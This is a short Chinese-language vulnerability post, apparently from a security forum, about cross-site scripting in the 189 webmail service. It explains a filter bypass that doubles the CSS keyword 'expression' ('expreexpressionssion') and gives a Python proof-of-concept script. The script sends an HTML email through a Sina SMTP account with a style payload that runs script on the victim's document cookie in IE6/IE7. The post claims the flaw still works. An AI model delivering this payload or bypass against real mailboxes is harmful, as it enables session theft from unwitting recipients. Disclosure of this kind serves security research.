1、说明
该漏洞是利用189邮箱对css样式过滤不严格,expression 对这个字段只进行了一次过滤。如发送 expreexpressionssion 就可以绕过服务器检测
(ps:该漏洞只适用于 IE6 IE7 浏览器)
2、poc
[Bash shell] 纯文本查看 复制代码 #coding=utf-8
import smtplib
from email.mime.text import MIMEText
mailHost = "smtp.sina.com:25"
mailUser = "新浪邮箱账号"
mailPW = "新浪邮箱密码"
mailtoList = ["这里是发送到的189邮箱"]
def main():
content='1</body></html></div><diV STyle="widTh:expreexpressionssion(alert(document.cookie));">'
me = "hello" + '<' + mailUser + '>'
msg = MIMEText(content , _subtype = 'html' , _charset = 'gb2312')
msg['Subject'] = "hello"
msg['From'] = me
msg['To'] = ";".join(mailtoList)
try:
s = smtplib.SMTP()
s.connect(mailHost)
s.login(mailUser , mailPW)
s.sendmail(me , mailtoList , msg.as_string())
s.close()
return True
except Exception ,e:
print str(e)
return False
if __name__ == '__main__':
main()
3、截图
点击图片显示乱码,就不上传了图片,该漏洞现在还是可以使用的 |